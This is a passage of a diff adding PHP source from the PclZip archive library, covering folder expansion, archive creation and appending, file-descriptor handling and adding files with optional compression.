+          //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 3, "Unsupported file type : unknown type");
+          // skip
+          continue;
+        }
+      }
+      
+      // ----- Look for string added as file
+      else if (isset($v_descr['content'])) {
+        //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 3, "This is a string added as a file");
+        $v_descr['type'] = 'virtual_file';
+      }
+      
+      // ----- Missing file
+      else {
+        // ----- Error log
+        //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 2, "File '".$v_descr['filename']."' does not exist");
+        PclZip::privErrorLog(PCLZIP_ERR_MISSING_FILE, "File '".$v_descr['filename']."' does not exist");
+
+        // ----- Return
+        //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, PclZip::errorCode(), PclZip::errorInfo());
+        return PclZip::errorCode();
+      }
+      
+      // ----- Calculate the stored filename
+      $this->privCalculateStoredFilename($v_descr, $p_options);
+      
+      // ----- Add the descriptor in result list
+      $v_result_list[sizeof($v_result_list)] = $v_descr;
+      
+      // ----- Look for folder
+      if ($v_descr['type'] == 'folder') {
+        // ----- List of items in folder
+        $v_dirlist_descr = array();
+        $v_dirlist_nb = 0;
+        if ($v_folder_handler = @opendir($v_descr['filename'])) {
+          while (($v_item_handler = @readdir($v_folder_handler)) !== false) {
+            //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 2, "Looking for '".$v_item_handler."' in the directory");
+
+            // ----- Skip '.' and '..'
+            if (($v_item_handler == '.') || ($v_item_handler == '..')) {
+                continue;
+            }
+            
+            // ----- Compose the full filename
+            $v_dirlist_descr[$v_dirlist_nb]['filename'] = $v_descr['filename'].'/'.$v_item_handler;
+            
+            // ----- Look for different stored filename
+            // Because the name of the folder was changed, the name of the
+            // files/sub-folders also change
+            if ($v_descr['stored_filename'] != $v_descr['filename']) {
+              if ($v_descr['stored_filename'] != '') {
+                $v_dirlist_descr[$v_dirlist_nb]['new_full_name'] = $v_descr['stored_filename'].'/'.$v_item_handler;
+              }
+              else {
+                $v_dirlist_descr[$v_dirlist_nb]['new_full_name'] = $v_item_handler;
+              }
+            }
+      
+            $v_dirlist_nb++;
+          }
+          
+          @closedir($v_folder_handler);
+        }
+        else {
+          //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 2, "Unable to open dir '".$v_descr['filename']."' in read mode. Skipped.");
+          // TBC : unable to open folder in read mode
+        }
+        
+        // ----- Expand each element of the list
+        if ($v_dirlist_nb != 0) {
+          // ----- Expand
+          if (($v_result = $this->privFileDescrExpand($v_dirlist_descr, $p_options)) != 1) {
+            //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, $v_result);
+            return $v_result;
+          }
+          
+          // ----- Concat the resulting list
+          //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 2, "Merging result list (size '".sizeof($v_result_list)."') with dirlist (size '".sizeof($v_dirlist_descr)."')");
+          $v_result_list = array_merge($v_result_list, $v_dirlist_descr);
+          //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 2, "merged result list is size '".sizeof($v_result_list)."'");
+        }
+        else {
+          //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 2, "Nothing in this folder to expand.");
+        }
+          
+        // ----- Free local array
+        unset($v_dirlist_descr);
+      }
+    }
+    
+    // ----- Get the result list
+    $p_filedescr_list = $v_result_list;
+
+    // ----- Return
+    //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, $v_result);
+    return $v_result;
+  }
+  // --------------------------------------------------------------------------------
+
+  // --------------------------------------------------------------------------------
+  // Function : privCreate()
+  // Description :
+  // Parameters :
+  // Return Values :
+  // --------------------------------------------------------------------------------
+  function privCreate($p_filedescr_list, &$p_result_list, &$p_options)
+  {
+    //--(MAGIC-PclTrace)--//PclTraceFctStart(__FILE__, __LINE__, "PclZip::privCreate", "list");
+    $v_result=1;
+    $v_list_detail = array();
+    
+    // ----- Magic quotes trick
+    $this->privDisableMagicQuotes();
+
+    // ----- Open the file in write mode
+    if (($v_result = $this->privOpenFd('wb')) != 1)
+    {
+      // ----- Return
+      //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, $v_result);
+      return $v_result;
+    }
+
+    // ----- Add the list of files
+    $v_result = $this->privAddList($p_filedescr_list, $p_result_list, $p_options);
+
+    // ----- Close
+    $this->privCloseFd();
+
+    // ----- Magic quotes trick
+    $this->privSwapBackMagicQuotes();
+
+    // ----- Return
+    //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, $v_result);
+    return $v_result;
+  }
+  // --------------------------------------------------------------------------------
+
+  // --------------------------------------------------------------------------------
+  // Function : privAdd()
+  // Description :
+  // Parameters :
+  // Return Values :
+  // --------------------------------------------------------------------------------
+  function privAdd($p_filedescr_list, &$p_result_list, &$p_options)
+  {
+    //--(MAGIC-PclTrace)--//PclTraceFctStart(__FILE__, __LINE__, "PclZip::privAdd", "list");
+    $v_result=1;
+    $v_list_detail = array();
+
+    // ----- Look if the archive exists or is empty
+    if ((!is_file($this->zipname)) || (filesize($this->zipname) == 0))
+    {
+      //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 3, "Archive does not exist, or is empty, create it.");
+
+      // ----- Do a create
+      $v_result = $this->privCreate($p_filedescr_list, $p_result_list, $p_options);
+
+      // ----- Return
+      //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, $v_result);
+      return $v_result;
+    }
+    // ----- Magic quotes trick
+    $this->privDisableMagicQuotes();
+
+    // ----- Open the zip file
+    //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 3, "Open file in binary read mode");
+    if (($v_result=$this->privOpenFd('rb')) != 1)
+    {
+      // ----- Magic quotes trick
+      $this->privSwapBackMagicQuotes();
+
+      // ----- Return
+      //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, $v_result);
+      return $v_result;
+    }
+
+    // ----- Read the central directory informations
+    $v_central_dir = array();
+    if (($v_result = $this->privReadEndCentralDir($v_central_dir)) != 1)
+    {
+      $this->privCloseFd();
+      $this->privSwapBackMagicQuotes();
+      //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, $v_result);
+      return $v_result;
+    }
+
+    // ----- Go to beginning of File
+    //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 5, "Position in file : ".ftell($this->zip_fd)."'");
+    @rewind($this->zip_fd);
+    //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 5, "Position in file : ".ftell($this->zip_fd)."'");
+
+    // ----- Creates a temporay file
+    $v_zip_temp_name = PCLZIP_TEMPORARY_DIR.uniqid('pclzip-').'.tmp';
+
+    // ----- Open the temporary file in write mode
+    //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 3, "Open file in binary read mode");
+    if (($v_zip_temp_fd = @fopen($v_zip_temp_name, 'wb')) == 0)
+    {
+      $this->privCloseFd();
+      $this->privSwapBackMagicQuotes();
+
+      PclZip::privErrorLog(PCLZIP_ERR_READ_OPEN_FAIL, 'Unable to open temporary file \''.$v_zip_temp_name.'\' in binary write mode');
+
+      // ----- Return
+      //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, PclZip::errorCode(), PclZip::errorInfo());
+      return PclZip::errorCode();
+    }
+
+    // ----- Copy the files from the archive to the temporary file
+    // TBC : Here I should better append the file and go back to erase the central dir
+    $v_size = $v_central_dir['offset'];
+    while ($v_size != 0)
+    {
+      $v_read_size = ($v_size < PCLZIP_READ_BLOCK_SIZE ? $v_size : PCLZIP_READ_BLOCK_SIZE);
+      //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 4, "Read $v_read_size bytes");
+      $v_buffer = fread($this->zip_fd, $v_read_size);
+      @fwrite($v_zip_temp_fd, $v_buffer, $v_read_size);
+      $v_size -= $v_read_size;
+    }
+
+    // ----- Swap the file descriptor
+    // Here is a trick : I swap the temporary fd with the zip fd, in order to use
+    // the following methods on the temporary fil and not the real archive
+    $v_swap = $this->zip_fd;
+    $this->zip_fd = $v_zip_temp_fd;
+    $v_zip_temp_fd = $v_swap;
+
+    // ----- Add the files
+    $v_header_list = array();
+    if (($v_result = $this->privAddFileList($p_filedescr_list, $v_header_list, $p_options)) != 1)
+    {
+      fclose($v_zip_temp_fd);
+      $this->privCloseFd();
+      @unlink($v_zip_temp_name);
+      $this->privSwapBackMagicQuotes();
+
+      // ----- Return
+      //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, $v_result);
+      return $v_result;
+    }
+
+    // ----- Store the offset of the central dir
+    $v_offset = @ftell($this->zip_fd);
+    //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 4, "New offset of central dir : $v_offset");
+
+    // ----- Copy the block of file headers from the old archive
+    $v_size = $v_central_dir['size'];
+    while ($v_size != 0)
+    {
+      $v_read_size = ($v_size < PCLZIP_READ_BLOCK_SIZE ? $v_size : PCLZIP_READ_BLOCK_SIZE);
+      //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 4, "Read $v_read_size bytes");
+      $v_buffer = @fread($v_zip_temp_fd, $v_read_size);
+      @fwrite($this->zip_fd, $v_buffer, $v_read_size);
+      $v_size -= $v_read_size;
+    }
+
+    // ----- Create the Central Dir files header
+    for ($i=0, $v_count=0; $i<sizeof($v_header_list); $i++)
+    {
+      // ----- Create the file header
+      if ($v_header_list[$i]['status'] == 'ok') {
+        if (($v_result = $this->privWriteCentralFileHeader($v_header_list[$i])) != 1) {
+          fclose($v_zip_temp_fd);
+          $this->privCloseFd();
+          @unlink($v_zip_temp_name);
+          $this->privSwapBackMagicQuotes();
+
+          // ----- Return
+          //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, $v_result);
+          return $v_result;
+        }
+        $v_count++;
+      }
+
+      // ----- Transform the header to a 'usable' info
+      $this->privConvertHeader2FileInfo($v_header_list[$i], $p_result_list[$i]);
+    }
+
+    // ----- Zip file comment
+    $v_comment = $v_central_dir['comment'];
+    if (isset($p_options[PCLZIP_OPT_COMMENT])) {
+      $v_comment = $p_options[PCLZIP_OPT_COMMENT];
+    }
+    if (isset($p_options[PCLZIP_OPT_ADD_COMMENT])) {
+      $v_comment = $v_comment.$p_options[PCLZIP_OPT_ADD_COMMENT];
+    }
+    if (isset($p_options[PCLZIP_OPT_PREPEND_COMMENT])) {
+      $v_comment = $p_options[PCLZIP_OPT_PREPEND_COMMENT].$v_comment;
+    }
+
+    // ----- Calculate the size of the central header
+    $v_size = @ftell($this->zip_fd)-$v_offset;
+
+    // ----- Create the central dir footer
+    if (($v_result = $this->privWriteCentralHeader($v_count+$v_central_dir['entries'], $v_size, $v_offset, $v_comment)) != 1)
+    {
+      // ----- Reset the file list
+      unset($v_header_list);
+      $this->privSwapBackMagicQuotes();
+
+      // ----- Return
+      //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, $v_result);
+      return $v_result;
+    }
+
+    // ----- Swap back the file descriptor
+    $v_swap = $this->zip_fd;
+    $this->zip_fd = $v_zip_temp_fd;
+    $v_zip_temp_fd = $v_swap;
+
+    // ----- Close
+    $this->privCloseFd();
+
+    // ----- Close the temporary file
+    @fclose($v_zip_temp_fd);
+
+    // ----- Magic quotes trick
+    $this->privSwapBackMagicQuotes();
+
+    // ----- Delete the zip file
+    // TBC : I should test the result ...
+    @unlink($this->zipname);
+
+    // ----- Rename the temporary file
+    // TBC : I should test the result ...
+    //@rename($v_zip_temp_name, $this->zipname);
+    PclZipUtilRename($v_zip_temp_name, $this->zipname);
+
+    // ----- Return
+    //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, $v_result);
+    return $v_result;
+  }
+  // --------------------------------------------------------------------------------
+
+  // --------------------------------------------------------------------------------
+  // Function : privOpenFd()
+  // Description :
+  // Parameters :
+  // --------------------------------------------------------------------------------
+  function privOpenFd($p_mode)
+  {
+    //--(MAGIC-PclTrace)--//PclTraceFctStart(__FILE__, __LINE__, "PclZip::privOpenFd", 'mode='.$p_mode);
+    $v_result=1;
+
+    // ----- Look if already open
+    if ($this->zip_fd != 0)
+    {
+      // ----- Error log
+      PclZip::privErrorLog(PCLZIP_ERR_READ_OPEN_FAIL, 'Zip file \''.$this->zipname.'\' already open');
+
+      // ----- Return
+      //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, PclZip::errorCode(), PclZip::errorInfo());
+      return PclZip::errorCode();
+    }
+
+    // ----- Open the zip file
+    //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 3, 'Open file in '.$p_mode.' mode');
+    if (($this->zip_fd = @fopen($this->zipname, $p_mode)) == 0)
+    {
+      // ----- Error log
+      PclZip::privErrorLog(PCLZIP_ERR_READ_OPEN_FAIL, 'Unable to open archive \''.$this->zipname.'\' in '.$p_mode.' mode');
+
+      // ----- Return
+      //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, PclZip::errorCode(), PclZip::errorInfo());
+      return PclZip::errorCode();
+    }
+
+    // ----- Return
+    //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, $v_result);
+    return $v_result;
+  }
+  // --------------------------------------------------------------------------------
+
+  // --------------------------------------------------------------------------------
+  // Function : privCloseFd()
+  // Description :
+  // Parameters :
+  // --------------------------------------------------------------------------------
+  function privCloseFd()
+  {
+    //--(MAGIC-PclTrace)--//PclTraceFctStart(__FILE__, __LINE__, "PclZip::privCloseFd", "");
+    $v_result=1;
+
+    if ($this->zip_fd != 0)
+      @fclose($this->zip_fd);
+    $this->zip_fd = 0;
+
+    // ----- Return
+    //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, $v_result);
+    return $v_result;
+  }
+  // --------------------------------------------------------------------------------
+
+  // --------------------------------------------------------------------------------
+  // Function : privAddList()
+  // Description :
+  //   $p_add_dir and $p_remove_dir will give the ability to memorize a path which is
+  //   different from the real path of the file. This is usefull if you want to have PclTar
+  //   running in any directory, and memorize relative path from an other directory.
+  // Parameters :
+  //   $p_list : An array containing the file or directory names to add in the tar
+  //   $p_result_list : list of added files with their properties (specially the status field)
+  //   $p_add_dir : Path to add in the filename path archived
+  //   $p_remove_dir : Path to remove in the filename path archived
+  // Return Values :
+  // --------------------------------------------------------------------------------
+//  function privAddList($p_list, &$p_result_list, $p_add_dir, $p_remove_dir, $p_remove_all_dir, &$p_options)
+  function privAddList($p_filedescr_list, &$p_result_list, &$p_options)
+  {
+    //--(MAGIC-PclTrace)--//PclTraceFctStart(__FILE__, __LINE__, "PclZip::privAddList", "list");
+    $v_result=1;
+
+    // ----- Add the files
+    $v_header_list = array();
+    if (($v_result = $this->privAddFileList($p_filedescr_list, $v_header_list, $p_options)) != 1)
+    {
+      // ----- Return
+      //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, $v_result);
+      return $v_result;
+    }
+
+    // ----- Store the offset of the central dir
+    $v_offset = @ftell($this->zip_fd);
+
+    // ----- Create the Central Dir files header
+    for ($i=0,$v_count=0; $i<sizeof($v_header_list); $i++)
+    {
+      // ----- Create the file header
+      if ($v_header_list[$i]['status'] == 'ok') {
+        if (($v_result = $this->privWriteCentralFileHeader($v_header_list[$i])) != 1) {
+          // ----- Return
+          //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, $v_result);
+          return $v_result;
+        }
+        $v_count++;
+      }
+
+      // ----- Transform the header to a 'usable' info
+      $this->privConvertHeader2FileInfo($v_header_list[$i], $p_result_list[$i]);
+    }
+
+    // ----- Zip file comment
+    $v_comment = '';
+    if (isset($p_options[PCLZIP_OPT_COMMENT])) {
+      $v_comment = $p_options[PCLZIP_OPT_COMMENT];
+    }
+
+    // ----- Calculate the size of the central header
+    $v_size = @ftell($this->zip_fd)-$v_offset;
+
+    // ----- Create the central dir footer
+    if (($v_result = $this->privWriteCentralHeader($v_count, $v_size, $v_offset, $v_comment)) != 1)
+    {
+      // ----- Reset the file list
+      unset($v_header_list);
+
+      // ----- Return
+      //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, $v_result);
+      return $v_result;
+    }
+
+    // ----- Return
+    //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, $v_result);
+    return $v_result;
+  }
+  // --------------------------------------------------------------------------------
+
+  // --------------------------------------------------------------------------------
+  // Function : privAddFileList()
+  // Description :
+  // Parameters :
+  //   $p_filedescr_list : An array containing the file description 
+  //                      or directory names to add in the zip
+  //   $p_result_list : list of added files with their properties (specially the status field)
+  // Return Values :
+  // --------------------------------------------------------------------------------
+  function privAddFileList($p_filedescr_list, &$p_result_list, &$p_options)
+  {
+    //--(MAGIC-PclTrace)--//PclTraceFctStart(__FILE__, __LINE__, "PclZip::privAddFileList", "filedescr_list");
+    $v_result=1;
+    $v_header = array();
+
+    // ----- Recuperate the current number of elt in list
+    $v_nb = sizeof($p_result_list);
+    //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 4, "Before add, list have ".$v_nb." elements");
+
+    // ----- Loop on the files
+    for ($j=0; ($j<sizeof($p_filedescr_list)) && ($v_result==1); $j++) {
+      // ----- Format the filename
+      $p_filedescr_list[$j]['filename']
+      = PclZipUtilTranslateWinPath($p_filedescr_list[$j]['filename'], false);
+      
+      //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 2, "Looking for file '".$p_filedescr_list[$j]['filename']."'");
+
+      // ----- Skip empty file names
+      // TBC : Can this be possible ? not checked in DescrParseAtt ?
+      if ($p_filedescr_list[$j]['filename'] == "") {
+        //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 2, "Skip empty filename");
+        continue;
+      }
+
+      // ----- Check the filename
+      if (   ($p_filedescr_list[$j]['type'] != 'virtual_file')
+          && (!file_exists($p_filedescr_list[$j]['filename']))) {
+        //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 2, "File '".$p_filedescr_list[$j]['filename']."' does not exist");
+        PclZip::privErrorLog(PCLZIP_ERR_MISSING_FILE, "File '".$p_filedescr_list[$j]['filename']."' does not exist");
+        //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, PclZip::errorCode(), PclZip::errorInfo());
+        return PclZip::errorCode();
+      }
+
+      // ----- Look if it is a file or a dir with no all path remove option
+      // or a dir with all its path removed
+//      if (   (is_file($p_filedescr_list[$j]['filename']))
+//          || (   is_dir($p_filedescr_list[$j]['filename'])
+      if (   ($p_filedescr_list[$j]['type'] == 'file')
+          || ($p_filedescr_list[$j]['type'] == 'virtual_file')
+          || (   ($p_filedescr_list[$j]['type'] == 'folder')
+              && (   !isset($p_options[PCLZIP_OPT_REMOVE_ALL_PATH])
+                  || !$p_options[PCLZIP_OPT_REMOVE_ALL_PATH]))
+          ) {
+
+        // ----- Add the file
+        $v_result = $this->privAddFile($p_filedescr_list[$j], $v_header,
+                                       $p_options);
+        if ($v_result != 1) {
+          //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, $v_result);
+          return $v_result;
+        }
+
+        // ----- Store the file infos
+        $p_result_list[$v_nb++] = $v_header;
+      }
+    }
+    //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 4, "After add, list have ".$v_nb." elements");
+
+    // ----- Return
+    //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, $v_result);
+    return $v_result;
+  }
+  // --------------------------------------------------------------------------------
+
+  // --------------------------------------------------------------------------------
+  // Function : privAddFile()
+  // Description :
+  // Parameters :
+  // Return Values :
+  // --------------------------------------------------------------------------------
+  function privAddFile($p_filedescr, &$p_header, &$p_options)
+  {
+    //--(MAGIC-PclTrace)--//PclTraceFctStart(__FILE__, __LINE__, "PclZip::privAddFile", "filename='".$p_filedescr['filename']."'");
+    $v_result=1;
+    
+    // ----- Working variable
+    $p_filename = $p_filedescr['filename'];
+
+    // TBC : Already done in the fileAtt check ... ?
+    if ($p_filename == "") {
+      // ----- Error log
+      PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Invalid file list parameter (invalid or empty list)");
+
+      // ----- Return
+      //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, PclZip::errorCode(), PclZip::errorInfo());
+      return PclZip::errorCode();
+    }
+  
+    // ----- Look for a stored different filename 
+    /* TBC : Removed
+    if (isset($p_filedescr['stored_filename'])) {
+      $v_stored_filename = $p_filedescr['stored_filename'];
+      //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 2, 'Stored filename is NOT the same "'.$v_stored_filename.'"');
+    }
+    else {
+      $v_stored_filename = $p_filedescr['stored_filename'];
+      //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 2, 'Stored filename is the same');
+    }
+    */
+
+    // ----- Set the file properties
+    clearstatcache();
+    $p_header['version'] = 20;
+    $p_header['version_extracted'] = 10;
+    $p_header['flag'] = 0;
+    $p_header['compression'] = 0;
+    $p_header['crc'] = 0;
+    $p_header['compressed_size'] = 0;
+    $p_header['filename_len'] = strlen($p_filename);
+    $p_header['extra_len'] = 0;
+    $p_header['disk'] = 0;
+    $p_header['internal'] = 0;
+    $p_header['offset'] = 0;
+    $p_header['filename'] = $p_filename;
+// TBC : Removed    $p_header['stored_filename'] = $v_stored_filename;
+    $p_header['stored_filename'] = $p_filedescr['stored_filename'];
+    $p_header['extra'] = '';
+    $p_header['status'] = 'ok';
+    $p_header['index'] = -1;
+
+    // ----- Look for regular file
+    if ($p_filedescr['type']=='file') {
+      $p_header['external'] = 0x00000000;
+      $p_header['size'] = filesize($p_filename);
+    }
+    
+    // ----- Look for regular folder
+    else if ($p_filedescr['type']=='folder') {
+      $p_header['external'] = 0x00000010;
+      $p_header['mtime'] = filemtime($p_filename);
+      $p_header['size'] = filesize($p_filename);
+    }
+    
+    // ----- Look for virtual file
+    else if ($p_filedescr['type'] == 'virtual_file') {
+      $p_header['external'] = 0x00000000;
+      $p_header['size'] = strlen($p_filedescr['content']);
+    }
+    
+    //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 5, "Header external extension '".sprintf("0x%X",$p_header['external'])."'");
+
+    // ----- Look for filetime
+    if (isset($p_filedescr['mtime'])) {
+      //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 3,"Overload mtime value with :'".$p_filedescr['mtime']."'");
+      $p_header['mtime'] = $p_filedescr['mtime'];
+    }
+    else if ($p_filedescr['type'] == 'virtual_file') {
+      $p_header['mtime'] = time();
+      //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 3, "Virtual file : use current time '".$p_header['mtime']."' for mtime value.");
+    }
+    else {
+      $p_header['mtime'] = filemtime($p_filename);
+    }
+
+    // ------ Look for file comment
+    if (isset($p_filedescr['comment'])) {
+      $p_header['comment_len'] = strlen($p_filedescr['comment']);
+      $p_header['comment'] = $p_filedescr['comment'];
+    }
+    else {
+      $p_header['comment_len'] = 0;
+      $p_header['comment'] = '';
+    }
+
+    // ----- Look for pre-add callback
+    if (isset($p_options[PCLZIP_CB_PRE_ADD])) {
+      //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 2, "A pre-callback '".$p_options[PCLZIP_CB_PRE_ADD]."()') is defined for the extraction");
+
+      // ----- Generate a local information
+      $v_local_header = array();
+      $this->privConvertHeader2FileInfo($p_header, $v_local_header);
+
+      // ----- Call the callback
+      // Here I do not use call_user_func() because I need to send a reference to the
+      // header.
+      eval('$v_result = '.$p_options[PCLZIP_CB_PRE_ADD].'(PCLZIP_CB_PRE_ADD, $v_local_header);');
+      if ($v_result == 0) {
+        // ----- Change the file status
+        $p_header['status'] = "skipped";
+        $v_result = 1;
+      }
+
+      // ----- Update the informations
+      // Only some fields can be modified
+      if ($p_header['stored_filename'] != $v_local_header['stored_filename']) {
+        $p_header['stored_filename'] = PclZipUtilPathReduction($v_local_header['stored_filename']);
+        //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 2, "New stored filename is '".$p_header['stored_filename']."'");
+      }
+    }
+
+    // ----- Look for empty stored filename
+    if ($p_header['stored_filename'] == "") {
+      $p_header['status'] = "filtered";
+    }
+    
+    // ----- Check the path length
+    if (strlen($p_header['stored_filename']) > 0xFF) {
+      $p_header['status'] = 'filename_too_long';
+    }
+
+    // ----- Look if no error, or file not skipped
+    if ($p_header['status'] == 'ok') {
+
+      // ----- Look for a file
+      if ($p_filedescr['type'] == 'file') {
+        // ----- Look for using temporary file to zip
+        if ( (!isset($p_options[PCLZIP_OPT_TEMP_FILE_OFF])) 
+            && (isset($p_options[PCLZIP_OPT_TEMP_FILE_ON])
+                || (isset($p_options[PCLZIP_OPT_TEMP_FILE_THRESHOLD])
+                    && ($p_options[PCLZIP_OPT_TEMP_FILE_THRESHOLD] <= $p_header['size'])) ) ) {
+          $v_result = $this->privAddFileUsingTempFile($p_filedescr, $p_header, $p_options);
+          if ($v_result < PCLZIP_ERR_NO_ERROR) {
+            return $v_result;
+          }
+        }
+        
+        // ----- Use "in memory" zip algo
+        else {
+          //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 2,"In memory compression.");      
+          //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 2,"Current memory usage : ".memory_get_usage(TRUE)." bytes");      
+          //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 2,"Current memory peak : ".memory_get_peak_usage(TRUE)." bytes");      
+          //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 2, "'".$p_filename."' is a file");
+
+        // ----- Open the source file
+        if (($v_file = @fopen($p_filename, "rb")) == 0) {
+          PclZip::privErrorLog(PCLZIP_ERR_READ_OPEN_FAIL, "Unable to open file '$p_filename' in binary read mode");
+          //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, PclZip::errorCode(), PclZip::errorInfo());
+          return PclZip::errorCode();
+        }
+
+        // ----- Read the file content
+        $v_content = @fread($v_file, $p_header['size']);
+        //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 2,"Memory usage after reading file : ".memory_get_usage(TRUE)." bytes");      
+        //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 2,"Memory peak after reading file : ".memory_get_peak_usage(TRUE)." bytes");      
+
+        // ----- Close the file
+        @fclose($v_file);
+
+        // ----- Calculate the CRC
+        $p_header['crc'] = @crc32($v_content);
+        
+        // ----- Look for no compression
+        if ($p_options[PCLZIP_OPT_NO_COMPRESSION]) {
+          //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 2, "File will not be compressed");
+          // ----- Set header parameters
+          $p_header['compressed_size'] = $p_header['size'];
+          $p_header['compression'] = 0;
+        }
+        
+        // ----- Look for normal compression
+        else {
+          //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 2, "File will be compressed");
+          // ----- Compress the content
+          $v_content = @gzdeflate($v_content);
+          //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 2,"Memory usage after gzdeflate : ".memory_get_usage(TRUE)." bytes");      
+          //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 2,"Memory peak after gzdeflate : ".memory_get_peak_usage(TRUE)." bytes");      
+
+          // ----- Set header parameters
+          $p_header['compressed_size'] = strlen($v_content);
+          $p_header['compression'] = 8;
+        }
+        
+        // ----- Call the header generation
+        if (($v_result = $this->privWriteFileHeader($p_header)) != 1) {
+          @fclose($v_file);
+          //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, $v_result);
+          return $v_result;
+        }
+
+        // ----- Write the compressed (or not) content
+        @fwrite($this->zip_fd, $v_content, $p_header['compressed_size']);
+
+        }
+
+      }
+
+      // ----- Look for a virtual file (a file from string)
+      else if ($p_filedescr['type'] == 'virtual_file') {
+          
+        //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 2, "Add by string");
+        $v_content = $p_filedescr['content'];
+
+        // ----- Calculate the CRC
+        $p_header['crc'] = @crc32($v_content);
+        
+        // ----- Look for no compression
+        if ($p_options[PCLZIP_OPT_NO_COMPRESSION]) {
+          //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 2, "File will not be compressed");
+          // ----- Set header parameters
+          $p_header['compressed_size'] = $p_header['size'];
+          $p_header['compression'] = 0;
+        }
+        
+        // ----- Look for normal compression
+        else {
+          //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 2, "File will be compressed");
+          // ----- Compress the content
+          $v_content = @gzdeflate($v_content);
+
+          // ----- Set header parameters
+          $p_header['compressed_size'] = strlen($v_content);
+          $p_header['compression'] = 8;
+        }
+        
+        // ----- Call the header generation
+        if (($v_result = $this->privWriteFileHeader($p_header)) != 1) {
+          @fclose($v_file);
+          //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, $v_result);
+          return $v_result;
+        }
+
+        // ----- Write the compressed (or not) content
+        @fwrite($this->zip_fd, $v_content, $p_header['compressed_size']);
+      }
+
+      // ----- Look for a directory
